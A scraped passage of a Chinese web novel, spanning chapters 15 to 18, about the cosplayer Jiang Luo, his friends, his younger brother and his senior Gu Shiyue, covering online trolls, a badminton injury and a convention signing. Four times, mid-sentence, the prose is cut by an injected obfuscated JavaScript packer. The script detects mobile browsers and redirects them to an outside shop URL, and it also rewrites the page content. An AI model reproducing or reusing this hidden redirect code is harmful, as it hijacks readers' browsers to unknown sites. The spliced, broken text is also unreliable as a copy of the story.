程嘉树随便看了两条帖子,后面刷到的就都是“洛c”“漫展”相关。他往下一划,瞥到一条带着恶意的标题——《等一个洛c见光死嘻嘻》 程嘉树“嘶”了一声,点进去看了眼。 一个人只要出现在大众视野前,不管这个人有多完美都不可能让所有人都喜欢。评论区鱼龙混杂,说什么的都有。这个标题吸引了很多黑粉,平时声量很小的一群人这会儿全冒出来了。 -还有人不知道他是高p的吗?我朋友见过他线下的样子,哈哈哈也就那些脑残粉信那些高p照片。 -傻逼,没看过他发的视频?你p一个我看看? -视频也能p的不知道吗? -哈?线下?洛c从来没参加过线下活动你们不会不知道吧?真就是造谣一张嘴啊。 -他接过委托啊妹妹,当然有人线下见过他。 -这个评论区怎么回事?怎么这么多黑子啊?一楼你说你朋友见过他线下?真见过洛c线下的还能说他照片是高p?我天造谣都不需要成本的啊…… -约过委托的在这里。评论区的黑子别舞了,回头签售会打脸了你们又该哭。 -哈哈哈哈哈哈哈我真的觉得你们这些黑子特别招笑 -别笑,回头等你洛c老师见光死了你就老实了哦。 -说真的,我也不太相信他本人有照片里那么好看,真的p过头了,有点假 …… 这是江洛第一次参加线下活动,还没露面网上讨论度就挺高的,一些黑粉闻着味道就过来了。 程嘉树嗤笑一声,骂了句“傻逼”,撸起袖子准备激情开麦,在评论区留下自己的足迹。江洛转头看了他一眼:“怎么了?骂谁呢?” “骂傻逼。”程嘉树噼里啪啦打字,眉飞色舞的。 江洛凑过去看了一眼,瞄到了帖子标题。 很多时候有些恶意就是毫无缘由,江洛笑了笑,没当回事:“别理他们了,回头又招来一堆,影响心情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846104|190239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “来一个我喷一个,来一堆我喷一堆。”程嘉树盯着屏幕,打字飞快,“你说这些人招笑不招笑。” 程嘉树一通猛烈输出,心情舒爽很多,拿起旁边的矿泉水打开猛灌了一口。 江洛有点想笑:“至于么,给你气成这样。” “我就看不惯有人嘴你,还他妈造谣。我可没你那么好性儿,你忍得了我可忍不了。” 江洛笑了下:“谢谢你啊,大树。” 程嘉树“嘶”了一声,斜眼看他,搓搓胳膊:“别来这个行么,鸡皮疙瘩起来了。” 江洛笑着没说话。 程嘉树叫来打球的这帮人里有个人有事提前离开了,他们本来在双打,场上少了个人没法打,程嘉树上去补位,江洛还坐在看台望风,望着望着就望到篮球场那儿去了。 顾时越在篮球场那边,江洛只是好奇往那边看了一眼,他被吸引住目光完全是因为顾时越球打得太好了,打球时的身形也非常漂亮。 刚才吃饭时江洛还觉得顾时越气质斯文,没想到他打球的时候完全不是这个调调,反应很快,动作利落,带着明显的攻击性。 篮球场那边的围观群众明显变多了,一眼望过去大部分都是女生,刚才球馆里还没这么多人,这显然是顾时越进场之后招来的人。为什么江洛这么肯定呢?因为顾时越进球的时候,欢呼声是最大的,那阵势都快把一场随便打打的球赛烘托成正式比赛了。 中途休息,顾时越走到篮球框底下,有人朝他抛了瓶矿泉水,他顺手接过,拧开盖子喝了一口,忽然朝羽毛球场这边看了一眼。 江洛一顿,跟他四目相接。 江洛愣在那儿,没注意到从场上飞来的羽毛球。 “哎江洛!”程嘉树喊了一声。 江洛听到声音转了下头,羽毛球迎面砸了上来,从他鼻梁上飞快擦过。程嘉树不喊这一嗓子还好,羽毛球还不至于砸江洛脸上。 “我靠。”程嘉树赶忙跑了过来。 江洛捂着鼻子,眼睛有点酸,刚才羽毛球上的毛刮到了他眼睛,他眼泪都出来了。 “没事儿吧?操,早知道刚不叫你了,球还砸不到你脸上,你手拿开我看看。” 江洛眨了眨眼睛,泪花顺着眼角流下来。 程嘉树以为他疼哭了:“操,不至于吧,疼成这样?你手拿开啊,快让我看看。” 江洛拿开手,发现手心有血。他山根处有点红,是被球砸出来的印子,鼻梁上也被羽毛擦破了,划了几道浅浅的口子,有血渗出来。 顾时越把矿泉水递给一旁项勤,项勤疑惑接过,看到他直接转身走了,连忙问了声:“你上哪儿去啊?” “有事,你们打。”顾时越说着径直朝羽毛球场方向走去。 场上那几个人都跑了过来,不小心打到江洛的是程嘉树他室友,看见江洛脸上在流血他吓一跳,赶忙道歉:“我靠!对不起对不起!” 他女朋友在他胳膊上拍了一掌,埋怨道:“你使那么大劲干嘛呀,你看看,把人都砸出血了!” “哎我不是……我咋知道……” 江洛赶紧说:“没事没事。” 江洛真没事,他没觉得多疼,估摸就是鼻子上擦破点皮。 旁边一个女生给江洛递了张纸巾:“快按住伤口止止血。幸好是没砸到眼睛,你要不要先回去消个毒呀,别伤口感染了……” “谢谢。”江洛接过纸巾擦了下鼻梁,纸巾蹭过伤口的时候还挺疼,他闭上眼睛“嘶”了一声。 “砸哪了?”顾时越的声音从人群中响起,江洛倏地抬起头。 众人纷纷回头,顾时越从他们中间走到江洛面前。江洛鼻梁上的伤口不大也不深,就是一直有血珠从伤口里冒出来,顾时越过来的时候他鼻梁上还在渗血。 江洛眨了眨眼睛,乖乖回答:“砸鼻子了。” 16.第 16 章 江洛睫毛上还挂着泪花,眼睛湿漉漉的。顾时越看到他鼻梁上的血痕,不由得皱了下眉。 “宿舍有没有碘伏?”顾时越问他。 江洛摇头。 这个点校医室肯定没人了,顾时越拿出手机直接点了个药店的外卖,买了些消毒用品。 江洛看到顾时越从口袋摸出手机解了锁,飞快地在屏幕上点了几下,然后抬起眼说:“回去消毒。” “啊?”江洛愣了一下。 “碘伏我买了,一会儿送到校门口。” 顾时越这行动力太强了,江洛没想到他刚才划拉手机的片刻工夫就帮他买好了消毒药。江洛还呆坐在那儿,顾时越挑起眉问:“没听到我说的话?” 江洛连忙站起来:“听到了。” 顾时越“嗯”了声:“去校门口拿药,南门。” “嗯嗯好。”江洛转身拿起椅子上的球拍和书包。 程嘉树表情有些茫然,看看江洛,又看看顾时越。他看到江洛拎包站起来,跟他说:“我跟你一块儿去。” “不用,你一走不就少个人了。没事,你继续打吧,不用管我,我回去涂个药。” “真不用我陪着啊?” 江洛笑了:“我又没伤胳膊没伤腿的,要你陪着干嘛啊。” 程嘉树看了眼他鼻梁处:“鼻梁骨疼不疼啊?你确定你没伤着骨头?” 江洛点了点头:“我确定。一个羽毛球就能把我鼻梁骨弄断了那我也太脆了吧。” “行吧,不要我陪就算了。”程嘉树说,“到宿舍了给我发个消息。” “好。” 江洛拎上书包走到顾时越面前:“学长,你……” “走吧。”顾时越转过身。 江洛一愣:“你……跟我一起过去啊?” 顾时越没回头,径自往前走:“嗯。” “你不打球了啊?”江洛小跑跟上他。 “打够了。”顾时越今天过来本来也不是为了打球,正好是项勤叫他,他又要送挂件,两件事赶一起去了,打球是顺便的。 “谢谢学长。”江洛笑了笑,一笑就牵动了鼻梁上的伤口,疼得“嘶”了一声。 顾时越转头看他一眼,江洛刚“嘶”完又顶着张笑盈盈的脸看着他,鼻梁上红红的,伤口处冒出细密的血珠。 “还有心情笑呢。”顾时越说。 “其实我现在想哭。”江洛说。 顾时越挑了下眉。 “我有点担心我破相,我还要靠脸吃饭。” 顾时越不太明显地笑了一下。 江洛对自己能把顾学长逗笑总是很有成就感,他看着顾时越,笑了笑说:“你笑起来好看,学长。” 顾时越转过头去,继续往前走:“是吗,那不笑就不好看了。” “我哪是这个意思呢。”江洛笑着说,“你笑不笑都好看。” 说话间,顾时越手机响了,项勤打来的电话。 “喂?” “跟着学弟上哪儿去?”项勤问,“球不打了?” “不打了。” 项勤沉默几秒,笑了声问:“什么意思啊。” “什么什么意思。” “我说你,跟江洛小学弟,什么意思。”项勤笑了笑,“你什么时候跟我们小学弟走这么近了。” 但凡换成其他人项勤都不会觉得奇怪,但这可是顾时越,他就不是那种能轻易接近的人。 “我跟谁走得近还要跟你报备?” “我是这意思么?”项勤笑了一声,“我就是觉得……你好像挺待见他啊。” 顾时越没否认:“我是待见他,怎么。” 项勤笑了起来,顾时越这么一说他倒觉得不奇了:“也是,我们江洛小学弟确实挺招人待见” “打你的球吧。”顾时越说,“挂了。” 江洛跟顾时越一同往体育馆外走,他发现篮球场那边的人散了一些,三五成群的也在往他们这边走。大概都是凑热闹来看顾时越打球的迷妹,顾时越一走,她们也跟着散了。 这一路顾时越都走得很快,他人高腿长,江洛要是不加快步伐都跟不上他。顾时越填的收货点是离体育馆最近的一个校门,外卖到得很快,他们还没到门口,外卖员的电话就打来了。 顾时越接了电话:“喂?” 学校门卫不让放学生的外卖,外卖员只能等他过去拿。 “两分钟。”顾时越对电话那头的外卖员说。 这下江洛真跟不上顾时越了,顾时越走得飞快,他只能背着书包小跑起来。 顾时越出校门拿了药,转身看到江洛不太明显地喘着气。 “跑什么。”顾时越说。 “不跑我都跟不上你,你腿太长了,走起来跟飞似的。” 顾时越走过来,从药袋里翻出一袋酒精湿巾:“先把伤口擦干净。” 江洛愣了愣:“现在……?” 顾时越挑眉:“你走回去多久,还想等回了宿舍再消毒?” 他们学校很大,江洛从这走回宿舍至少也要二十分钟。 “噢噢。”江洛接过他手里的湿巾,看了一眼,发现是含酒精的,抬眼巴巴地看着他,“能不能略过这一步啊学长?酒精有点疼。” “换湿巾。”顾时越直接把药袋给他。 江洛接过药袋一看,发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857196|190239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现顾时越不单是买了碘伏,还有酒精、湿巾、创口贴、无菌敷贴。江洛随手把球拍放地上,抽了张湿巾轻轻按在鼻梁上,他看不到自己的伤口,凭感觉擦的。血痕已经干了,江洛这么轻轻按两下没能擦干净,他正要拿碘伏消毒,还想让顾时越拿手机前置当个镜子给他照一下。 “学长,你能不能拿手机开个前置让我照一下脸?” 顾时越没拿手机,只说:“碘伏给我。” 江洛一愣:“啊?” 顾时越直接拿走了他手里的碘伏,走近一步,他们在路灯底下,灯光从头顶落下来,江洛鼻梁上的伤口看得很清楚。 顾时越又抽了张干净的湿巾,靠近,抬手,湿巾按在江洛的伤口处。江洛下意识闭上了眼睛,睫毛微微颤着。 “疼?”顾时越问。 江洛睁开眼:“不疼。” 他睁着眼睛,脸微仰着,眸光落进顾时越眼里。顾时越垂着眼,与他对视着。江洛的瞳色很浅,在灯光下是很明显的琥珀色。他的睫毛很长,所以颤起来也很明显。 顾时越轻轻擦着他鼻梁上的血迹:“不疼睫毛抖成这样。” 江洛笑了下:“我这是条件反射,你闭眼你睫毛不抖么。” “不抖。” “真的假的啊。”江洛笑出了声,“那你闭个眼我看看。” “不闭。” 江洛仰脸笑着,顾时越沉默地帮他擦拭伤口。 顾时越盯着伤口,江洛盯着顾时越。 顾时越目光往上掠了掠,两人视线一碰。 “学长,我的伤口深么?”江洛跟他说话。 “还好。”顾时越的视线又落了下去。 虽然江洛不臭美,但他还是挺在意自己的形象的,他刚才说的话也是真的,他真的担心自己会破相。 “你说我会不会破相啊学长。” 顾时越说:“不知道。” 江洛鼻子轻轻皱了一下,看表情还真有点苦恼。 “怕破相?”顾时越问。 “怕啊。”江洛眨眨眼睛。 “没看出来。”顾时越说,“我看你挺无所谓。” “没有啊,我很有所谓啊。我偶像包袱很重的。” 江洛说完自己先笑了,也捕捉到了顾时越眼里很淡的笑意。擦干净血痕,顾时越用棉签沾了碘伏给他消毒。碘伏没那么刺激,江洛只感觉到一点点疼。 顾时越离他很近,他能闻到顾时越身上那股淡淡的香味。明明刚打完球,顾时越身上却一点汗味都没有,还是香香的。 昏黄的灯光洒下来,给顾时越漆黑的发丝镀了一层柔柔的金边,让他整个人变得很柔和。 17.第 17 章 所幸江洛鼻梁上的伤口不深,没两天就结疤了,国庆放假的时候疤已经掉了,只有一点淡红色的印痕。江洛自己也比较注意,怕留疤,那几天都忌口,吃得很清淡。 放假那天江洛和程嘉树是一起回的家,两人坐的同一班高铁。程嘉树他爸安排了司机来高铁站接他,到站后程嘉树让江洛跟他一起坐车回去,江洛说不用。 “我还要去学校接小晨呢。”江洛说。 “一块儿去接了呗。”程嘉树让他上车,跟司机说了个学校名,“吴叔,先去接江洛他弟。” 吴叔笑着说“好”。 明天放长假,今天晚高峰格外堵,江洛到学校的时候江晨还在宿舍收拾衣物,天转凉了,很多单衣都该带回去了。江洛去宿舍找他,程嘉树还要跟着一起去。 一进校园程嘉树就感叹了一句:“好久没见过这么多年轻的面孔了,青春啊……” 江洛笑了声:“说得你多老似的。” 说起来他俩也才二十,还小着呢。江洛那张脸更是显嫩,站在这群高中生之间根本看不出年龄差,换上校服就是高中生模样。 他们进宿舍的时候,江晨正蹲在地上往行李箱里塞东西,背对着门口,程嘉树刚要开口,江洛就做了个“嘘”的动作,示意他不要出声。 他自己轻手轻脚地走到江晨身后,用手比了个枪,抵在江晨背后:“打劫,不许动。” 江晨一顿,忍不住笑了下,叫了声“哥”。 “打劫呢,”江洛表情一本正经的,“严肃点。” “你要劫什么?”江晨问他,“我这有一箱子衣服,你劫走吧。” 江洛绷不住笑了:“那你给我打包好,我一会儿劫走。” “好。” 程嘉树站在门口笑:“我真服了,你还能再幼稚点。” 江晨回头看了眼江洛,表情突然一愣,盯着他鼻梁上的疤痕。江洛皮肤白,很浅的一点疤痕在他脸上也很明显。 “哥,你脸上怎么回事?”江晨站起来,转身看着江洛,“鼻子上怎么了?” 江洛摸了下鼻梁,说:“没事,前几天打羽毛球不小心被球砸了一下。” 江晨皱了皱眉。 “真没事。小伤,你看疤都掉了,就一点点印。” “以后打球小心点。”江晨皱着眉说。 “好的,一定小心。” 江晨看向门口的程嘉树,叫了一声:“嘉树哥。” “哎。”程嘉树应了声,江晨一站起来身高就显出来了,他现在又瘦又高,“你个子蹿得够快的啊小晨,这才多久没见,感觉你长高挺多啊。” 上周体育课刚测过身高,江晨点了点头说:“嗯,是长高了一点。” “哪里是一点,”程嘉树笑了,“上次见你你才到我脖子呢。” “你怎么也来了,嘉树哥。”江晨问他。 “我送你哥一块儿过来的呗,你俩一会儿坐我家车回去。” “嗯,谢谢嘉树哥。” 江洛看了看江晨的行李箱:“还有什么要收拾的吗?” “没了。”江晨蹲下来把行李箱合上,拉上拉链。 “床单被套呢,有没有换下来?带回去洗洗。” “换下来了。” 程嘉树倚着门框,摇头“啧啧”两声:“多省心的孩子。” 江晨看他一眼:“我只比你小四岁,嘉树哥。” 程嘉树乐了:“好好好,嘉树哥用错词了。多省心的少年,这样说行了不?” 江晨还没什么反应江洛倒是先笑了,拎起行李箱拍拍江晨的后脑勺:“走吧,少年。” 江晨“哦”了一声。 这天晚上江洛给顾时越发了条微信:学长,3号漫展你来吗? 那天一起吃过饭后他们就没再见过,也已经很多天没联系了。顾时越说过他有空就会去漫展,现在江洛还不确定他到底会不会去,去的话在他签售开始之前两个人说不定还能碰个面。 顾时越在电脑上做流体仿真,一直没看手机,江洛临睡前才收到他的消息。顾时越3号要跟他导师去听个交流会,不确定什么时候结束。 顾时越:刚在忙,没看手机 顾时越:那天有点事,不一定能去 江洛:噢噢我知道了 顾时越:结束得早我会过去 江洛:嗯嗯,你忙你的,正事比较重要 顾时越:伤好了? 江洛:还有一点点印子,估计没几天就能消了 顾时越:嗯 顾时越没再回什么,江洛也放下了手机,翻身睡觉了。 这次国庆的漫展江洛会带着江晨一起去,江晨本身对二次元这些不感兴趣,他是去给江洛当小助理的。漫展在国庆后第三天,因为不在他们住的城市,江洛前一天晚上就要过去。主办方给江洛安排了酒店,程嘉树也去漫展,他想跟江洛同行,订了和江洛同一家酒店,也提前一晚就去了。 漫展前两天第二天一早,江洛起早化妆穿衣,江晨带了作业,一个人坐在桌前安静地写卷子。他完全不懂化cos妆这些,帮不上他哥什么忙。江晨刷英语卷子很快,刷完一套转头看了看他哥。 这会儿还早,才七点半。江洛原本想再订个房间让江晨一个人单独住,怕早起吵醒他,江晨不愿意,兄弟俩就住一间了。今早起来的时候,江洛轻手轻脚的,就怕吵着他,谁知道他刚下床江晨就睁眼了。江晨是自己醒的,不是被吵醒的,醒后洗漱了一下,穿好衣服就坐在那儿刷卷子了。 起床困难户今天起床一点都不困难了,怕他哥有事需要帮忙,候在一旁随时待命。 “哥,有什么要我帮忙的吗?”江晨坐在那儿问江洛。 江洛往脖子上戴了条铆钉choker,笑了笑问:“你卷子刷完了啊?” “没,刚刷完一套。”江晨拿着手里的笔转了转。 “我渴了。”江洛说。 “嗯。”江晨起身去拿了瓶矿泉水,拧开盖子递到他面前。 江洛接过瓶子喝了口水,他cos妆化得差不多了,转头问江晨:“怎么样?” 江洛只化好了妆,假发还没戴,鼻子上的疤痕被底妆遮住了,一点都看不出来。江晨盯着他的脸看了看,他直男视角,看不出眼妆精细度,就觉得他哥化妆前后区别不大。反正都一样好看,就是气质有细微变化。 江洛戴了浅蓝色的美瞳,江晨看着他的眼睛,愣头愣脑地评价:“眼珠子挺显眼的。” 江洛乐了:“你这什么评价。” 八点左右,他们从酒店出发,打车去了会展中心。江洛因为要签售,得提前进场准备,所以出发得早,程嘉树还在酒店,没跟他们一起过去。司机师傅见过世面的,见穿着夸张的帅小伙坐进车里眼神都没晃一下,这已经是他今天早上接的不知道第几个coser了。 十点正式开始签售,江洛九点就进场了,他走的特殊通道,进场很丝滑。 摊位前面已经排满了人,江洛从后台出来的时候,队伍前面安静了一秒,随后顿时爆发出一阵巨大的欢呼声。 排在后面的人听到前面传来这么大的动静,才知道洛c已经进场了。 这是江洛第一次参加线下活动,粉丝的热情惊到他了,江晨更是被突如其来的尖叫声吓了一跳,耳膜差点震破。 江洛挥手跟排队的粉丝打招呼,又是一阵热烈的欢呼和尖叫,排在最前面的几个女生快疯了,激动得满脸通红,举着手机咔咔拍照。 “我□□操,太帅了!真人居然这么帅!” “我死了,我真的死了,这也太帅了……” “我的天啊……居然比照片还帅……” “旁边那个是他助理吗?也好帅!” “助理看起来好小啊?救命了,怎么连助理都这么帅。” “你洛看着也不大……他不是已经上大学了吗?真的是大学生啊?” “是大学生啊,我有个朋友跟他一个学校的,说他皮下更好看,长得很精致。” 江晨眉头微微皱着,他其实不太喜欢这种场合,别的没什么,就是有点吵,来之前他就知道人不会少,但没想到能整出这么大动静。江洛转头看了他一眼,笑了下,小声说:“我跟你说别来,你自己非要来。现在后悔了吧。” “没后悔。”江晨端端正正坐在他旁边,“我不来谁给你当助理。” 江洛会根据cos的人物调整自身气质,尽量维持人设不ooc,今天签售会他有出cos,所以没有以他本人的状态跟粉丝互动。让他硬凹拽酷脸其实挺不容易的,因为他是笑眼,浅浅一笑眼睛就会弯起来。 见粉丝不可能一点不笑,更何况江洛本人还挺爱笑的,他一笑眼睛就一弯,自带甜感。 眼前这个刚排到的女生拿着手机手都在抖,捂着嘴巴哽咽着说:“老师你笑起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864614|190239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来好好看……” 她声音抖得都快破音了,看得出来很激动很紧张,江洛在海报上签完名,抬头冲她笑了下:“别紧张。” 她声音还是颤颤巍巍的:“很难不紧张啊……我……老师你……” 旁边工作人员提醒互动时间倒计时,女生急得说话磕磕绊绊,赶在最后十秒跟江洛合了照。 有社恐的粉丝,就有社牛的粉丝,不怯场的粉丝能直接跟江洛聊起来,像久未相见的老朋友。 一上午很快就过去了,中午江洛退场短暂地休息了一下,很快又回到了摊位。下午三点多的时候,江洛趁着休息喝水的间隙看了眼手机,没看到顾时越的任何消息。 顾时越说今天有事不一定能来,都这个时间点了,应该是真的不会来了。 期间程嘉树来过一趟,想看看签售情况,看到摊位前排着长长的队伍,密密麻麻的全是人头,他拿起手机笑着拍了张照。拍完照他就直接走了,留这也没意思,都是人,太挤了。 顾时越快四点的时候才赶到会展中心。 他不知道江洛在哪个展区,给江洛发消息也没收到回复,就直接给戚雪影打了通电话。 “喂?哥?” 四周人声嘈杂,顾时越找了个比较安静的角落说话:“你在不在漫展?” “在啊。”戚雪影有点纳闷,“你怎么知道我在漫展?” “我也在。” “……啊?”戚雪影愣住了。 “知道江洛在哪个展区吗?” “你等会儿……”戚雪影听得云里雾里的,“我有点糊涂,你稍微说清楚点呢。” 顾时越把情况跟她说明了一下。因为江洛之前不能确定顾时越一定会来漫展,所以没跟戚雪影提过这件事。戚雪影压根不知道顾时越今天会来漫展,她更没想到顾时越居然真的会过来,他一个对二次元完全不感兴趣的现充。 而且顾时越这个点才过来,哪里是来逛展的,就是专程来找江洛的。 “哥,你在哪儿呢?”戚雪影问,“你微信发个定位给我,就那个共享实时位置。” 顾时越发了位置共享,戚雪影发现顾时越离她不远,跟他说:“咱俩离得挺近的,我过来找你,你站原地等会儿啊,我来带你去江洛那边。” 顾时越说:“我过来,你不用动。” “也行,那我在这等你。” 顾时越来得太快了,腿长走路也快,方向感还好,戚雪影等了没一会儿就看到不远处出现了他的身影。她朝他挥了挥手。 戚雪影旁边还跟着她的一个同伴,顾时越走到她们面前。能在这样的场合看到顾时越,戚雪影感觉有点不真实。她哥往这一站,身后都是来来往往的coser,这个画面就相当违和。 她笑了声说:“没亲眼见着你,我都有点不相信你真的会来这儿。” “你要找洛洛,现在估计看不着他。”戚雪影说,“签售还没结束呢,那边又排着队,都是人。” 江洛的签售票是线上放票的,这是江洛的首场签售会,戚雪影当时试着抢了一下,没想到还抢到了,她的排号很靠后,这会儿正打算去排队呢。 戚雪影现在有个很大胆的想法,她想了想,从包里摸出排号票,试着问顾时越:“你要不拿我的号去排个队?我的号挺靠后的,等排到估计也没剩多少人了,现在走过去时间也差不多,应该不需要等太久。” 戚雪影眨着眼睛笑笑:“不是他叫你来的么,他应该很期待你会来吧,你要是突然出现……” 签售四点半结束,队伍已经没那么长了。 江洛签了一天的名,跟粉丝互动了一天,到现在还是很在状态。他知道这些朋友来这里见他一面不容易,会尽自己最大努力让她们觉得来得值得。 拍照环节,现在排到的这个粉丝没要求合照,她想拿相机给江洛拍单人照。江洛拍照的时候会一秒进入角色状态,他收起笑意看向镜头,表情冷冷淡淡的,带着点散漫的劲儿。 拍完照他还在状态里,顶着张漂亮的冷脸坐在那儿,不知怎么的,旁边围观的人群里出现了一阵明显的骚动,还夹杂着此起彼伏的说话声,现场的氛围好像瞬间又被火点燃了,喧嚣又躁动。 眼前这位粉丝一走,余光中突然出现一个高大的身影,江洛目光不由得上移,看到脸的那一刻他瞬间愣住了。 江洛仰着头,怔怔地看着站在他面前的顾时越。 18.第 18 章 顾时越从拿票进场排队开始就吸引了不少人的目光,刚才队伍里的骚动也是因他而起。今天排队签名的虽然大多数都是女生,但男生也不是没有,只是人数没那么多,所以显得稀罕。顾时越人帅个高,站在那儿太引人注目,他这种颜值的男粉那必然是更稀罕了。 签售名额是限量的,签完即止,这会儿排队的人已经不多了,但很多签完的粉丝都没走,还在旁边公共区域等江洛下班。队伍排到顾时越的时候,站在外围的人比后面排队的人还激动。 江洛愣了足足有五秒,这五秒间大脑是空白的。桌子前面有椅子,是专门给排队签名的粉丝坐的,直到一旁工作人员出声提醒“签名互动可以坐这边哦”,江洛才回过神。 顾时越在椅子上坐了下来,把戚雪影给他的海报放在了桌上。 江洛仍然是有点懵的状态,营业能力直线下降,脑子卡顿了,都不知道该说什么。看到海报他条件反射地拿笔签名,他垂着眼,握笔的姿势有点不太自然。 顾时越盯着他,目光在他脸上轻轻扫过。江洛今天的发色和瞳色都是浅蓝色的,脖子上戴着铆钉款式的项圈,耳朵上挂着好几个素圈耳钉,嘴唇上还有一枚唇环。唇环连着一条细细的银链,银链另一头连着耳朵上的一枚素圈,挂在脸侧轻轻晃荡。 顾时越沉默片刻,很自然地跟他说话:“签多久了,累吗?” 江洛抬起头,他一动,脸侧的银链就微微一晃。 “没、没多久。”江洛看着他,呼吸有点不顺畅,“不累。” 刚才还能很松弛地跟粉丝互动,这会儿不知怎么莫名局促了起来。顾时越看出他的不自在,问了一句:“紧张什么。” 江洛倒不是紧张,但局促是真的,局促到都有点丧失语言功能了。这种情况在他身上很少发生,可能是顾时越的突然出现带给他的冲击太大,把他脑子给冲懵了。 “我让你紧张了?”顾时越问。 江洛立刻摇头:“不、不紧张。” “不紧张你结巴什么。” “我……”江洛张了张嘴,不知道该说什么,这下是真结巴了。 顾时越还是第一次见他这样,觉得挺有意思的。 签完名还有互动环节,一般粉丝会有很多话跟江洛说,顾时越没那么多话要说,他们俩就坐在那儿你看着我我看着你,气氛莫名微妙。顾时越还想看江洛更多不一样的反应,主动走流程:“可以拍照吗。” 江洛愣了一下,随即点点头:“……可以的。” “合照。”顾时越说。 江洛眼睛微微睁大,显然是很诧异,他磕磕巴巴地说:“可、可以。” 顾时越拿出手机,江洛习惯性地说:“那个……我来吧。” “嗯。”顾时越把手机给他。 江洛跟粉丝合照自拍都是他拿的手机,他对这一套流程很熟悉,知道找什么角度拍好看。 两个人转到同一个方向,顾时越坐得板正,镜头容纳不下他俩,江洛隔着桌子微微往他那边靠了一些。他闻到了顾时越身上淡而香的气味,靠近顾时越那一侧的耳朵不知缘由地发烫,慢慢变红了。 顾时越没什么表情地看着镜头,江洛按下拍照键,镜头把他们定格住。 顾时越无意在这种情况下跟江洛闲聊,拍完照,互动时间还没到他就下去了。 在下一位粉丝上来之前江洛低头深吸了口气,赶紧调整状态。 顾时越从排队区出来的时候外面围着的一圈人都在看他,还举起手机对着他拍照,戚雪影在人群后面,笑着朝他招了下手。顾时越走去她那儿,把签好名的海报递给她。 戚雪影笑着问:“你好快啊,怎么这么快就结束了。” 顾时越往江洛的方向看了一眼,心想再不结束他都快变小结巴了。估计真是被吓了一跳,第一次见他这么局促。 戚雪影瞟了一眼顾时越手里的海报,开玩笑说:“这海报你不自己留着么?这可是你自己辛辛苦苦排队签的名哦。” “留它干什么,又不是见不到他。”顾时越说,“想见本人我随时都能见。” “哎……”戚雪影抿嘴一笑,接过海报,“也是呢。” 签售会五点左右才正式结束,好多粉丝一直围在摊位附近没有散去,江洛起身抬起胳膊朝她们比了个大大的爱心,底下顿时掀起一片尖叫声。 江洛知道自己说什么她们估计也听不见,隔着围栏离那么远,又那么吵。他笑着朝她们挥了挥手,最后弯下腰向她们深深地鞠了一躬,传达了自己的谢意。 江洛离场后第一时间看了一眼手机,手机上有不少消息,他点开顾时越的微信头像看了一眼,顾时越最后一条消息是一个小时前发来的,问他在哪个展区。 江洛一边走路一边打字回复:你给我发消息的时候我在忙,没看手机。 江洛回完顾时越的消息才去回别人的,程嘉树五分钟前发了一个定位过来:在这等你,结束了就过来。 江洛点开定位导航,跟江晨说:“我们去找你嘉树哥。” “嗯。”江晨转头看了他一眼,“哥,你跟刚才那个男粉丝认识?” 江洛转头看向他,江晨说:“个子很高,穿黑衣服的那个。” 江洛知道他说的是顾时越,拉了拉耳垂说:“这么明显就能看出来么……” “你刚才连话都不会说了……”江晨也是第一次见他哥这样,那么拘谨那么局促,“差点名都不会签了。” 江洛笑了声,摸着耳朵说:“哪有,我名签得挺好的啊……我那是太意外了,脑子都宕机了,完全没想到他会在这儿。他不是什么粉丝。” “是你朋友?”江晨问。 “学长。”江洛说,“跟我一个学校的。” “哦。” 手机震了一下,顾时越回了条消息:知道。 江洛立刻问:学长你已经走了吗? 顾时越:没有。 江洛:! 江洛:你还在会展中心吗?你在哪儿啊? 顾时越:来程嘉树这,你就能看到我。 江洛:!! 江洛不由自主加快了步伐,程嘉树给他的定位不远,但这一路上江洛还是被好几个经过的粉丝认出来了,耽误了一点时间。就算不是粉丝,也有很多路人找他集邮合照。最后他只能把江晨的运动外套穿在身上,盖住了自己的cos服。 场馆外面的中央地带有一片很大的广场,穿过这片广场有供人休息的桌椅,顾时越他们就在那片休息的区域。他坐在椅子上,远远地看见江洛朝这边走来。江洛旁边跟着刚才坐在他旁边的那个男生,他转头跟人家说着什么,眼睛笑得弯弯的,还抬手摸了摸对方的脑袋。 江洛往定位的方向走着,忽然看到不远处程嘉树起身朝他挥了挥手。他快步走过去,打眼一看并没看到顾时越的身影,戚雪影坐在程嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 